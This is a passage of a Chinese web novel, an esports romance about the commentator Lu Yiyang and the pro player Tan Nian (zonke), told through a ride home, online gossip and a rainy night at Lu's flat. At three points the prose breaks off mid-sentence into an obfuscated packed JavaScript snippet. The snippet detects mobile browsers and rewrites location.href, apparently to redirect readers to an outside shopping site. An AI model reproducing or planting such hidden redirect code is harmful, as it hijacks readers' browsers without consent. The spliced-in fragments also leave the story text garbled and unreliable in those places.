毕竟陆意扬从前就爱穿这个牌子。 “不用....”司机舔了下嘴唇说,“太麻烦了,还要买。” 买有什么麻烦的,直接付款不就好了? “麻烦?”陆意扬疑惑地问。 司机郑重地点了下头,“优惠券,没了。” 看不出来你还挺勤俭持家啊? “我看一下我有没有,”陆意扬打开手机,新客领取,“我有是有....” “那你方便吗?” 你都这么说了我有什么招啊? 下单,“给你寄到你们基地吗?”陆意扬问,“还要填地址。” “能先放你那里吗?”司机说:“基地的快递填阿姨的号码,还要找。” 陆意扬觉得他很奇怪,但是说不上来哪里不对劲 “行吧。”陆意扬下单之后,“那等回头到了我怎么通知....” “找妙妙。” “行吧。” 真贵啊,草。 陆意扬心都滴血了。 从这医院到陆意扬的家里,太晚了路上有点萧条,失灵的路灯有一下没一下的。 陆意扬看着他的侧脸,少年清晰的下颌骨被路过的夜色灯光青睐,一闪一闪的,像跳动的连环画。 他吞了下喉结,将目光移动到自己的手上,他搓着自己的指甲,“打扰你吃饭了。” “没有。”陆意扬作为一个优秀解说,超级主播,他最擅长场控气氛跟带动节奏,但是在这里怎么感觉自己似乎被道具锁了技能,一个也施展不出来。 “我前面就到了。”陆意扬说,“然后我的衣服帮我扔了好了。” “嗯。”谈年的车速不太快,这地方能开80,那么大的牌子他跟看不见一样。 但是总算还是悠到了。 “我到了,那我走了。”陆意扬如释重负,刚要下车,就听见身后传来一声: “陆意扬。” “啊?” 陆意扬回头,这个称呼好陌生,他第一次听见谈年正式地叫他的名字。 二人隔着昏黄的车厢灯对视。 “.....明天,要是眼睛不好,”他吞了一下喉结,僵硬地抬手,蜷着手指,指着眼睛,“要去看医生。” 都说几遍了? 我特么又不傻。 “好的。”陆意扬露出了一个笑容,“谢谢。” 陆意扬拿着包跟一袋子药下了车,招了下手就转身回去了。 这车给陆意扬坐得腰酸背痛,他疾步踩着台阶,只想赶紧洗个澡,这身上的味儿他是一点儿也受不了了。 他回到家就把自己剥光了,走到卫生间一顿冲,我靠,这热水,差点没给陆意扬烫的蹦起来。 他重新调低了水温,其实伤得也不重,就是脖子后面红了一点儿,手臂上因为有衣服也没怎么样,就是微微有点痒,手背也零星有几个红点而已。 眼睛冲了水之后也好多了,就是眼角还是有点痛。 他洗完照镜子,明天晚上还有解说,可别耽误事儿了。 他重新给自己乱七八糟的涂上药膏,这枕头估计要废了。 这条牛仔裤陆意扬还挺喜欢,只能扔在洗衣机,这白t应该也要留渍了也不要了。 他站在洗衣机面前看着里面的裤子翻滚,水声冲击他的耳膜,他抓着自己的手腕,耳边似乎回荡着谈年的咄声质问与轻声关切。 陆意扬怔怔地出神,他觉得自己似乎要失去他赖以为生的职业。 他的第二工种,来钱很快,玩得很大,当黑子,硬卖腐,他觉得没有人没有事能阻止他去接这个烫手但是美味的大鸡腿,他要坚守岗位,热爱工作,只遵循一条原则,不管发生什么,他跟RMB死不分家。 但是。 “疼吗?” “陆意扬。” “他受一点伤,你们负得了责吗!” 陆意扬烦躁地磨了下牙齿,手撑在洗衣机上面,有点茫然。 怎么哥这道德感就这么重呢? 哥就吃顿火锅,就要失业了吗? 这火锅吃的,真服了,早知道不去了,说的什么,麻绳专挑细处断,命运戏弄大馋猪原来是这个意思。 陆意扬躺在床上,他想起那次要钱要不回来的县城网吧解说的后续。 他生了一场大病。 感冒流涕,怎么都不好,发烧好久都降不下来,浑浑噩噩的就去小诊所输液。 小诊所脏兮兮的,他坐在角落,那时候他身边也只剩下芳姨能搭把手。 芳姨那天家里熬了汤,给陆意扬带过来,但是她那会儿儿媳妇刚生也不能离开太久,嘱咐了陆意扬几句就走了。 陆意扬的腿上放着鸡汤,等着输完液回去喝。 陆意扬的大夫还在给他拔针,旁边的大妈要上边上的病床躺着,肥胖的身子一扭,撞到了大夫,针狠狠刺进他的手背,但与此同时,汤撒了一些在病床上。 没人看他的手痛不痛,首先开口的就是大夫:清洗床单被套,要两百。 接着是大妈:指责他为什么要在这里抱着一个汤罐子。 他没钱。 他的手好痛。 最后的最后,陆意扬发疯,很不熟练,一会儿进了警察局。 警察局说他年纪轻轻的,这么没素质,人家都可以当他长辈了。 还是赔了一百,他们骂骂咧咧的走了。 那些人的样子,嘴脸,话术,就跟今天火锅店的样子慢慢重合。 那天,陆意扬记得,他还觉得挺委屈的,今天.... 没有。 陆意扬被白t上的火锅味熏得人都不好了,开了窗户都无济于事,垃圾袋打了两个结都感觉一直在散发,所以他只能拎着下来倒垃圾。 他扔完垃圾就看见了有人偷他的自行车,校园里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885648|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自行车太多,他贴的粉黑镭射标识特别好认。 他刚要上去抓贼,突然想起来—— 不对,我自行车不是在火锅店吗?! 他看见那人将车停在他家的小区楼道下,而且那个帽子,那个身形...... 他还把我的自行车给我送回来了吗? 他怎么知道那是我的自行车? 可能是K妹他们说的吧。 陆意扬的手机没电了,还没开机。 但是接下来... 陆意扬穿着个大裤衩,大背心,站在小区的绿化带的阴影里,亲眼目睹了谈年将车停好之后,看着他的车发呆。 我的车我自己买的,我又不是偷的! 他看我车干什么,喜欢自己去买一个啊,你那么有钱还能买不起吗。 接着他愣愣地站在那里,他点了一根烟,抬头看了一会儿,烟抽完的时候他往外走,脚步偏快。 陆意扬顺着他的目光,一栋楼稀稀拉拉好几家亮着灯。 看什么呢? 站在同一位置。 他看的是我家? 他什么表情? 陆意扬有些不明白,他想了好几次,似乎他们的交集就是当时的一次兴奋剂查验。 但是他为什么要这样的看我家呢? 他为什么要送自行车回来? 陆意扬感觉陷入了一种很奇怪的想象之中,似乎他的每次巧合在陆意扬的心里都变成了有意为之,来这么便宜的地方吃火锅,给自己的直播间带人气,种种... 陆意扬感觉自己有点过于自恋了。 但是,真的是自己自恋吗? 陆意扬可没有什么钝感力,他敏感极了。 陆意扬开始安慰自己,他本来就是神经病啊,这事儿早期打游戏的都知道,他无差别发起solo,不愿意跟他打他就一个劲地攻击直到跟他solo。 他的路人王就是这样来的,出道即首发,当时给青黄不接的PAX注入的可不是什么新鲜的血液,而是兴奋剂了。 他回了家,坐在沙发上,看着他[羊崽]账号一年来的各种微博。 这一条,是zonke当时刚进PAX,玩得像个孤儿一样连队友的小地图都不切一下,对此,陆意扬点评道: 【建议WATA2出一个没有小地图版本的模式。】 这一条,是zonke团战失误,让本来还有机会的PAX失去机会,对此,陆意扬点评道: 【谁家大狱没锁好门让战犯跑出来了?】 这一条,是国外的队伍来打比赛,说是打得友谊赛,但是不知道为什么zonke那把杀得有点凶,简直是虐菜,那会儿网上对PAX的风评也不太好,对此,陆意扬评价道: 【有朋自远方来,虽远必诛。】 这一条,PAX战队似乎状态不好,季赛连四强都没进,爆了大冷门,对此,陆意扬评价道: 【这是PAX最有希望的一个赛季!】 这一条,PAX似乎对zonke还在接触阶段,但是有偷听的视频流出来,他本人发言说,“PAX除了我你还能找到更适合选手吗?你回去想想吧。” 看完这个视频陆意扬评价: 【PAX太子驾到!跪!】 ......... 陆意扬没怎么漏过zonke的比赛,这个熟悉的陌生人存在在陆意扬的生活里很久很久但是猛然,这个人撕开了次元壁纸,扔掉他在网上的代号,不再是从耳麦中听见他的声音,他甚至能感受到这个人的呼吸,就这么莫名其妙地闯进了陆意扬的生活。 陆意扬接着往下看,除了一些他做的鬼畜视频,也有一些正经分析选段,他的微博有267条视频,除了自己的直播链接极少与他无关。 但是... 陆意扬有点无语了。 他要是知道他今晚护着的那个人就是网上的黑他最凶的黑粉头子.... 他怎么想? 35.喜欢他吗 陆意扬起来的时候眼睛干巴巴的,还有眼屎,真是服了。 他起来洗了把脸,对着镜子照了一下,除了眼角有点红其他都还好。 脖子上这块他照了下镜子发现红肿已经褪了一些,刮到的时候有点疼。 没什么问题。 昨天太累了不知不觉睡着了,这会儿才打开微信。 「干饭小分队」的消息都一大堆了。 陆意扬草草地扫了一眼,语音回复道:“昨天手机都关机了,刚看见,没事儿。” “我草吓死我了,”妙妙的声音传来,“今天怎么样?眼睛还痛不痛?” “没有了,”陆意扬说,“真没事儿。” “晚上你还有解说呢,要是不来得早点请假。”珂珂似乎已经在忙了,她的背景音很嘈杂。 “能来,没问题。”陆意扬说。 他打开掌上WATA。 【6老板:昨天出去了,回来太晚,没跟你说。】 【N:嗯。】 【6老板:我晚上还有解说,收拾一下就去了。】 【N:嗯。】 【6老板:我走啦。】 【N:嗯。】 羊羊大王起来就要将各个软件阅一遍。 他的手指悬停在微博的图标上却不太敢打开。 昨天他回顾了一下自己戎马的半生,今天又不知道要说什么了。 最后还是选择看一眼吧。 一点进来陆意扬手都抖起来了。 【羊崽被绿实锤![图片][图片][图片]!!快看!】 第一张图片是昨晚上的火锅店他自己被护在zonke的怀里。 第二张图片是zonke离他极近地去看他的眼睛。 第三张更离谱了,是zonke拉着他的手质问围观群众。 这楼下面叠了不少楼中楼。 视频只有短短几秒,是有人要拍陆意扬所以他扭了下头,但是!在视频角度里面他像个柔弱的死绿茶一样往zonke身上躲,而zonke一手指着人,一手悬空在他的肩膀,像搂抱但是分明没有落下来啊? 陆意扬皱眉接着看另外一个视频,是一个远处的拍摄角度,陆意扬垂着腿坐在副驾,副驾的车门敞开,zonke靠了过来,但是天杀的!他是去中控拿纸啊,他的车可大了,擦都没擦到陆意扬的边,但是陆意扬还规避了一下,在视频里模糊的影子里似乎zonke将他扑进去了! 清汤大老爷,陆意扬感觉自己跳进牛油锅底里面怎么也洗不清了。 几千赞,评论还在不停地上涨。 【小六手段了得!】 【感觉zonke好像真的是弯的。】 【仔细看这几个视频,后面PAX的人紧张程度跟zonke完全不是一个级别。】 【昨天在现场,zonke超凶的。】 【昨天PAX没来的时候小六在大堂吃饭,皮肤超好,蹲蹲护肤品。】 【昨天最后还报警了,后续说zonke强硬要求对面道歉。】 【昨天到底什么事儿?】 【老板是我表哥,事实是熊孩子乱跑差点撞翻火锅底料小六护着孩子反被污蔑。】 【这红油恰到好处,战损小六谁见谁怜。】 【还有人在意羊崽死活吗?】 .............陆意扬差点给自己的嘴唇舔出洞来都不知道怎么回复。 但是他的超话显示他已经上线,@还在继续增加。 【羊崽别哭,你可以等zonke分手。】 【这个评论区好恶心,难道是路人这样就可以不管吗?非得磕腐?】 【有一说一很难不磕,[视频]】 怎么还有? 这一段更让人头皮发麻,是店家的监控视频流出来了。 陆意扬从包间出来,还要关门,但是没有关上,有灰色的小人站在门口。 接着就是陆意扬倒地,zonke几步出来扶住了陆意扬的肩膀,低着头跟陆意扬说话,帽檐都要戳到陆意扬的脑门子了。 接着着就是他抬手指责,完全不嫌脏地将人护在怀里,膝盖磕在地上,膝盖上还带着红油的印子,连陆意扬脱衣服的时候都抬了好几下手,接过他的衣服握住了他的手腕。 可是那时候陆意扬失明了啊不拉着他根本就不知道往哪里走了! 【刚认识的朋友还需要目送离开吗?】 【维护伤员要单膝跪地这么近的观察吗?】 【也就是小六没晕过去,不然大家都可以看见公主抱了!】 【看我姐妹给我发的高清图![图片]PS:闺蜜站姐】 谁说生活中没有观众的! 站姐...令人害怕的称呼,陆意扬视死如归地点开了图片。 一张大特写,看皮肤状态站姐还P了图?被模糊的观众,像老厂房一样的平价火锅店,陆意扬猩红的眼睛似要流泪,就这么可怜巴巴地看着zonke,zonke帽檐下垂下的眼皮,抿紧的嘴唇,陆意扬的手腕在zonke的膝盖上,红油溅在脸上,溅白色的卫衣上,这都不像红油了,像是氛围感道具,看起来像电视剧里要死之前剖白心意的老套剧本,再配上这个BGM,姐们怎么不去营销号干活呢? 陆意扬昨天根本没有看清楚他的眼睛。 他看清楚zonke的眼睛居然是在评论区。 陆意扬其实不太好意思去猜测他的眼神。 手机一响,陆意扬差点原地给扔了。 「干饭小分队。」 【Kate喵喵:[图片][图片][图片]。】 【珂珂:小六老师还是zonke老师粉丝,这不是追星成功了?】 【别闹。】陆意扬发送。 【Kate喵喵:小六老师,这新闻,这CP,对你解说投票大有裨益。】 【珂珂:可惜我们昨天错过了现场!我恨~】 【Kate喵喵:那可以当桌面了这个。】 当...桌面... 当个毛啊。 陆意扬的脑子更混乱了。 他不知道现在算是怎么回事,可能他对谁都这样? 陆意扬胡乱地在手机上切着软件。 【羊,挣钱的机会来了,你可以现在发起投票,[羊胜]vs[六胜]!】 【zonke抢夺战正式拉开帷幕!羊崽,我们对你还是有信心的!】 【小六只是一场重庆火锅,而我们的羊崽是国潮外卖!】 【我有预感这个逼会立马开投票!】 【绿羊羊这个不要脸的劲儿估计一拍大腿:好计谋!】 陆意扬真想骂他们。 但是他什么都说不出来。 【小六命真好,zonke第一次直播也要给他,怕他被抓一直切他的视角,叫上兄弟给他带分,而我们羊崽只能躺在一堆垃圾话里像条狗一样等zonke临幸。】 【羊崽,别等zonke换上情头,换上情侣ID你才知道要争要抢才有正宫地位啊,虽然现在眼泪在你的眼眶里面打转,看了一遍又一遍你们的互动心如刀割,把你的娇gay文学掏出来!】 【只想知道下次zonke跟小六打游戏的时候能带我们的绿羊羊一个吗?没有也没关系,绿羊会乖乖等的,有位置喊他就行,或者你们不玩WATA2了,换其他游戏玩,羊崽也会去下载的,带他一个好吗。】 【zonke跟小六恋爱的消息传到绿羊羊那儿的那一秒,绿羊羊心都乱了,一下子吃了三个大招,队友不断地发信号骂他,他却丧失了语言系统,爱情让嘴强王者成了一个沉默寡言的大头兵,就像此刻,他已经上线30分钟,但是一个屁都没放出来。】 我....^&^&*(*^&^((()&^$$!!! 陆意扬一整个手足无措,这帮流民就不能有自己的生活吗。 最后他选择下线。 他抓了好几下他的自己的头发,看着时间已经到了下午两点。 他给自己的眼睛滴了点眼药水,就匆匆下楼。 重新握到自行车手把的感觉有点...奇怪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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哪怕这样的小队伍他还是做足了功课,顺便提出了一些可以调整的打法上的尝试,引用从前战队的在位置上的调整后达到的效果来佐证。 他说得非常中肯,没有好为人师的感觉。 大嘴在游戏理解上完全跟陆意扬不是一个级别,这二人放在一起解说明显是陆意扬在主导节奏,似乎现在的人也开始明白,用嗓门调动观众情绪并不是一个好解说打分标准。 谈年似乎能感受到陆意扬在那么多次调整的解说里面,从最开始的模仿,到后来的完善,已经开始摸出一条属于自己的道路,主次分明,思路明确。 陆意扬从前只有他自己直播的时候会有很多碎碎念,他会写很多的结束语来应对不同的结局,失误,经典,意外或者是爆冷。 他会一次一次的修改,让这些话不那么矫情,又是对选手诚意满满的祝福。 谈年陷在沙发里,游戏一点儿也没看进去,甚至连K哥什么时候坐在他身边的都不知道。 “小年。” “嗯?”谈年有点回神,但没回头。 “总在看他的解说。” “嗯。”谈年的声音懒懒的,眼神还在屏幕上。 “喜欢他啊?” “嗯。”谈年没有一点儿情绪的变化,似乎K哥只是问他有没有吃饭,他撑着自己的脸继续看着屏幕。 “我草!”小5蹲在后面本来想吓他俩一跳,结果听见了这么劲爆的新闻? 小5翻身上了沙发,谈年起身走出了投影室。 小5压低了声音,“K哥你怎么看出来的?” “上次我送我妹回去,路上遇到椰哥嘀咕,我就说路过WATA大厦给他去找找,结果我们家中单就说要帮我妹拎东西,拎完就自己上后面坐着去了。” “昨天我妹说在吃火锅,他根本没反应,听说小六也在,就说很久没吃火锅了,基地的火锅,他哪次多吃了。”K哥笑眯眯地说,“你傻,看不出来。” “啊?我还以为对咱妹有意思呢?”小5感觉自己的脑子都不太够用了。 36.送羊回家 今天的两个队伍加起来4场比赛,第二场的两把时间拖得太长了。 等从解说室出来,已经到了深夜11点。 眼睛盯着屏幕久了有点痛,他们切的游戏画面陆意扬也不敢在解说的时候滴眼药水,硬生生挺着。 陆意扬点头与工作人员告别,今天珂珂下班得比较早,已经走了。 三楼陆意扬就直接走楼梯下来了。 刚走出WATA2的大楼,就看着台阶面前停着一辆车。 车主今天穿了一件浅蓝色格子的外套,里面是一件白色t,他戴着卡其色的帽子,倚靠在车头的位置,他也不玩手机,就这么静静地看着大门的方向。 可能是谈年的行为太诡异了,也可能是网上的留言给他洗脑了,陆意扬看见他的那一秒就已经开始应激了。 他,不是来等我的吧..... 陆意扬舔了下嘴唇,有点想当没看见,但是看见他已经拎着东西朝自己过来了。 他说,“你的衣服。” “哦,哦,谢谢。”陆意扬低着头拿东西,“那我走...” 谈年问,“我能送你回去吗。” “不用了吧。”陆意扬倒退一步,“不能一直给你添麻烦。” “看看你的眼睛好点没有。”谈年找了个正当的理由能看着陆意扬的眼睛,“看着还是很红。” “没事的。”陆意扬又倒退了一步。 谈年说,“我顺路过去买东西。” 他要大半夜的买什么东西啊! 陆意扬实在不想上车,脚钉在原地不动。 对面的人似乎是感知到了陆意扬的不情愿,他的邀请有点太冒犯,于是后退了一步。 僵硬地抬了下手,谈年打开副驾的门,拿着袋子出来,“这个是队医按照你的诊断给你开的药,效果可能会好一点。” “费心了,谢谢。”陆意扬犹豫了一下,还是接过药,“我先走了。” “好的。” 陆意扬站在路边打车,开始有点点的雨掉下来。 谈年也不上车,站在离他一个花坛的距离。 陆意扬感觉后面都要被看毛了。 他站在陆意扬的身后,好一会儿也不过来。 哥们,就是说,你的影子比你都先到我脚下了。 陆意扬感觉有点僵硬,捏紧了自己的背包的带子,回头说,“我自己能回去。” 谈年往前走了两步,伸手出来,陆意扬才发现他拿了一把伞。 这么点雨,男人不需要伞的。 “我能送你回去吗?” 他问得比刚刚还小心一点。 陆意扬两只手都拎着东西,攥得有点紧,他眨了好几下眼睛,在对面又要倒退之前,“就是,怕给你添麻烦。” 对面的人的肩膀似乎松了一截,“没有。” 又说,“没有的。” 陆意扬还是上了车,又要开始没话找话。 “我的自行车说谢谢你送他回...” 不是,陆意扬在说什么啊? “嗯。” 他专心地开着车,从WATA2的大楼到陆意扬家30多公里,他都不要导航的吗? 但是他俩也没什么话说,太安静了,车内的氛围又变得尴尬起来,陆意扬也不好意思玩手机,感觉刚刚自己鬼上身了才会上车。 蠢人开始灵机一动。 不如装睡觉吧! 陆意扬闭上了眼睛,这样应该不会显得那么僵硬了。 谈年调高了一点空调温度,陆意扬心里默念,我闭上眼睛就是天黑,一会儿就装作睡眼朦胧,然后醒来就说哈哈不好意思我睡着了,哎呀到了那我可先回去咯。 陆意扬的演技好得不像演的,因为他还真睡着了。 等他惊醒的时候已经是半夜两点半。 还是因为有雨飘进来,他才惊醒。 他一睁眼看见车载屏幕的时间都被自己吓出一身冷汗,更让他出冷汗的是旁边没人。 车窗都被打开一些,陆意扬听见了谈年的声音。 “晚点回来。” “他睡着了。” “嗯,好了。” 他似乎要回来车上了,怎么办!陆意扬闭上眼睛赶紧装睡,一会儿继续装睡眼朦胧,然后说哈哈不好意思我睡着了,哎呀到了那我可先回去咯拜拜! 陆意扬的剧本已经写好了。 动作很轻,谈年上了车。 他坐在驾驶室,也不玩手机,连车厢灯他都关掉了,上下车门都没有光。 他把车窗摇上去一点儿,唯一的声音是雨水击打在挡风玻璃上的滴答声。 陆意扬装不下去了,他睡醒也没挪动,窝在副驾,刚慢慢悠悠地想转过来装作刚苏醒的样子,却对上了谈年正在看他的眼睛。 还是被帽檐的阴影遮盖,陆意扬只能看见少年的唇形,他刚醒嗓子有点干,说不出来话,陆意扬感觉他们的对视很奇怪,升起一股微妙的紧张,分明他的瞳色虹膜陆意扬都没看清楚,但是眼神落在身上像带着看不见,透明又稀碎的纤维丝,直白得一摸就扎人。 “我睡着了。”陆意扬哑声说。 “嗯。喝水吗?” “我,我回家喝。”陆意扬舔了下干巴巴的嘴唇。 “好,回去吧。” 陆意扬眨了几下眼睛,看着越来越大的雨,“这么晚,还下雨,你……” 谈年说,“回去吧,东西别忘了。” 噼里啪啦的水滴像拳头一样砸向车窗。 二人还是这个姿势四目相对。 乍亮的惊雷让陆意扬看清楚他的眼睛,放肆的打量自己,但是为什么陆意扬感觉有点无法躲开,甚至连姿势都不曾变换。 谈年手上拿了一把折叠伞,垂着帽檐,只是放在中控箱上。 似乎在说,你打伞回去,我看着你走。 轰隆! 闪电亮了半边天。 “.....你可以去我家坐一会儿,打雷,不安全。” “就是...我家很小,不怎么样。” 陆意扬感觉自己鬼又上身了。 谈年的手搓在方向盘上,帽檐又垂了一点,“可以吗?” 他的询问里似乎是一种,我只是一个陌生人,你不应该让我去你家的味道。 “可以。”陆意扬拿着东西,但是话还没说完边上的驾驶员就直接下车了。 ? 你比我下车还快吗? 再接着就是拿着伞已经站在他的车门边,这速度陆意扬都没看清楚。 雨太大了,老小区的没有录入车牌就无法进入。 伞有点小,肩膀似乎要挤在一起。 陆意扬上车之前的一直退后的态度让他只把伞打给陆意扬。 陆意扬也不知道说什么,拉他也不对,他好像也没打算跑几步。 他们从小区门口到楼下就淋了个透,像两个傻逼。 湿哒哒地就到了单元楼,往上走,陆意扬拿出钥匙开门。 点开了灯。 “你,你坐一会儿,我换个衣服。”陆意扬刚睡醒又被风吹雨打的嘴唇都哆嗦了,“你要么玩...”电脑两个字被他硬生生收回了,他的电脑秘密可太多了,这可不敢。 陆意扬在房间里把湿了的衣服换下来才后知后觉地发现,谈年的衣服更湿。 陆意扬拿着自己没穿过的睡衣出来,“你,要不要换我的衣服?” 此时的谈年正在烧水,但是陆意扬的烧水壶有脾气,烧水随机。 “我来吧,你去换衣服,别感冒了。”陆意扬说。 他将帽子摘了,揉了两下自己的头发。 陆意扬感觉有点儿陌生,似乎他看见没戴帽子的谈年都是打比赛的时候,视频上面,平常见到的基本跟他脑袋上长了个帽子似的。 “对了毛巾....”陆意扬刚到卫生间门口想说一下,发现他卫生间的门早就被他打坏了,因为有一次他自己被锁在卫生间里面出不来所以他给锁砸了。 所以他就直接对上了谈年的刚脱到一半的后背,完了,又想起来他的白屁股了。 陆意扬又舔了一下嘴唇,故作镇定,“柜子里,有新的。” “好。”他似乎没受什么影响,没半点反应。 换完衣服,陆意扬有点局促了,他家就这么大,睡觉的房间小,客厅就也就那么大。 谈年坐在他的沙发上,陆意扬想拿遥控器放个电视,才发现他的拿的遥控器是空调遥控器,按了半天还把空调开着了。 “喝水。”陆意扬推了下水杯,“要不,我们各自玩一会儿...” “手机?” “嗯。”谈年应了一声,往后靠在陆意扬的沙发上。 可叹陆意扬平常思维敏捷,谈吐幽默,节奏大师的一个男人,在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895918|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里犹如一个智障人机。 “陆意扬。” “嗯?”陆意扬抱着热水偏头看他。 “你眼睛有点红,去休息吧,雨马上就小了,我一会儿自己走。” “不好吧。”陆意扬为难地说,“你是客人。” 说到这里陆意扬想起来招待客人了,“等一下,我去找找有没有水果给你吃。” 陆意扬在厨房翻了一通,什么像样的东西都没有。 几个草莓还不知道几天前了。 “我家没人来,就我自己,没东西吃。”陆意扬挠了下头。 “去休息吧。”谈年靠在他的沙发上,不算拘谨,但也不是很舒适的坐姿。 陆意扬装模作样地还在找,然后进了自己电脑房,把电脑设了个密码之后直接关机。 安心了。 “哎呀我还真...有点困,那我,不管你了啊。”陆意扬佯装伸懒腰,关键跟他坐在一起也太尴尬了,他都不知道说什么。 陆意扬回了卧室,大出了一口气。 他躺在床上,家里贸然有人了,他还真有点不习惯。 不习惯就算了,这根本睡不着啊。 于是沉默地坐在沙发的另一边。 “不舒服?”谈年关闭了手机,抬头看他。 “怕你坐在这里无聊。” “还好。”他的手指若有似无地擦过他的嘴唇,陆意扬总觉得这双手在哪里见过。 外面的雨声还在继续,猛然就照亮天空的惊雷。 找个话题吧。 “你玩这个游戏很久了吗。”陆意扬问。 “嗯。”他说完又补充,“上学的时候,好多年前。” 他比陆意扬想的似乎话稍微再多一点儿, “哦,跟朋友一起?”陆意扬问。 “没。”他说话还是这样的节奏,又补充,“自己玩,然后有认识的人玩。” “你出名蛮早的。” “嗯。”他没有什么表情,似乎都不太重要,又开始补充,“不是什么好名。” “你职业之后进步很大。” “哦。”他说话的节奏太奇怪了,舔了下嘴唇,“有人指导了就多练一下。” 陆意扬觉得他说话的节奏很奇怪。 不太流畅,就好像会运行补丁一样的。 陆意扬想问,你是不是对我过于关心了,但是问出来又特别的自恋,那人家要是正常社交就是正人君子对谁都那样自作多情多尴尬啊,显得咱没见过好人似的。 “你饿了吗?”陆意扬挠了一下头发,“但是家里只有面条。” “会麻烦你吗?” 陆意扬巴不得找点事情做,连连起身,“不会,不会。” 青菜是干巴的,香肠怎么也没了,也就这个挂面不会毒死人。 陆意扬煎了个荷包蛋,一边的小锅煮水。 他似乎去卫生间了,出来的时候陆意扬看见他盯着自己的电竞桌看了几眼。 完了!这椅子是他抽奖送的! 会不会暴露啊! 不对,咱是他粉丝,买同款也很正常。 “吃,吃东西吧。”陆意扬喊了一声。 他就这么安静地坐在沙发上低着头吃面。 陆意扬曾经躺在这个沙发上绞尽脑汁黑了无数次的人现在正坐在他的沙发上吃他做的面条? 这世界还能不能再离谱一点? 啊好安静啊。 两个人都像个哑巴一样。 可叹他俩的真实面目在网上都是喷子啊。 陆意扬的后脖颈有点痒,拿出塑料袋给自己擦药,一擦药他就想起来他的指尖在自己的后脖颈上似有若无的,痒得让人有点想....夹腿…… “你擦不到吗?” 陆意扬很怕他来给自己擦药,猛地一下站了起来,他开始走向卫生间,但是好像不太礼貌又走回来,但是对上谈年的眼睛他又别过头去只能走向厨房,陆意扬似乎跟这个家不太熟。 他怎么看我....给我一种他是同性恋的感觉啊! 太糟糕了!太吓人了! 陆意扬背对着他说,“网上,网上那些人都乱说我们的事,就瞎说,还好我上次就很巧上次在车上,我听椰哥说你还,还正在问姐...” 第二个「姐」发音才到一半,身后平稳的声音打断了他,“我问的是解说。” ? 37.我裂开了 窗外有鸟鸣,大雨已止,就剩下阳台外树梢绿叶上有断线的水串子。 时间已经来到清晨五点二十分。 他起身说,“我回去了。打扰。” 他直接就开门走了。 陆意扬还没在震惊中回神。 你问解说,解说那么多,不是我吧? 这个先不说,你的衣服怎么弄? 扔了还是...难道我给你洗啊? 我给你洗衣服这不合适吧? 我找人干洗? 那你什么时候来拿啊? 一脑门子的问号,但是他一走,神经松了,真的有点困了。 他要是去睡觉的话这衣服闷几个小时湿的会有味。 陆意扬看着他的衣服想了一下,还是放进了洗衣机。 陆意扬躺在沙发上,在沙发的缝隙里摸到了电视机的遥控器。 他胡乱地开了一个频道,来遮盖洗衣机的声音。 就不该问。 现在好了,本来就尴尬现在更尴尬了。 洗衣机的声音停了,还是他的衣服,我? 我们这个关系,我还给他洗衣服? 我?大网红,我给对家洗衣服? 我TM他大黑粉,我在这里给他洗衣服? 这事儿要是传上网上去,陆意扬感觉自己要被流民砍成血雾了。 衣服洗好了,陆意扬拍了拍,晒在阳台上,就是一件格子外套而已跟一件白t而已。 刚想去睡觉,就有人敲门,这么早,谁啊。 陆意扬一开门。 “您好,我是同城跑腿,这是您订的东西。” 陆意扬刚想说我没买东西啊。 这几大箱子都是什么东西? 然后看见了单子上的备注:【忘记付面条的餐费。】 陆意扬接过箱子,有几盒配好的蔬菜,都是切好放好的,还放着冰袋,炒一下就可以吃了。 另外的箱子有不少的坚果零食,底下还有水果,西瓜,蓝莓,草莓。 陆意扬的扫把买的很便宜,便宜没好货,这东西上面的握着的手柄掉了,经常会割到手,他扔在卫生间了,所以他还送了一个扫地机器人? 陆意扬的烧水壶有点随性,所以他又送了个烧水壶? 陆意扬的刮胡刀不太好用,有时候容易刮伤下巴,还是一样的牌子他送的刮胡刀。 他不太明白,一碗面条可以换这么多东西吗? 他没拆,把这些东西放在角落。 他有点想问问,送这么多东西是什么意思呢? 那可能人家就是有钱啊,人家平常出手就是这个手笔啊。 陆意扬记得他们那会儿出国比赛,因为...国籍吧,在海关被人为难,一般人这些事儿都算了,他家里似乎还把海关的人给告了,费时费力去打一场没什么好处的官司。 而且在陆意扬的印象里,他家里好像还给PAX赞助过,虽然不是很多,但是就这个圈里的,大部分选手都是家庭条件不好,他这样的已经算蛮少见的了。 他想跟人要一下zonke的微信把这些东西转账给他,但是想着想着就困了。 最近陆意扬的梦有点儿变多了,今天梦到的是他躺在手术台上,无影灯啪一下都打开,医生们都穿着无菌服用放大镜观察他,然后断定他的烫伤都是被亲出来的,陆意扬刚要起来跟他们打架,他们把口罩一拉,跪下行礼高喊恭迎PAX太子妃! 吓得陆意扬出了一身冷汗,醒来已经是中午12点了。 手机在旁边嗡嗡震,陆意扬眯着眼睛一看,是妙妙的消息。 一个小时前: 【Kate喵喵:你快起来啊小六老师!】 47分钟前: 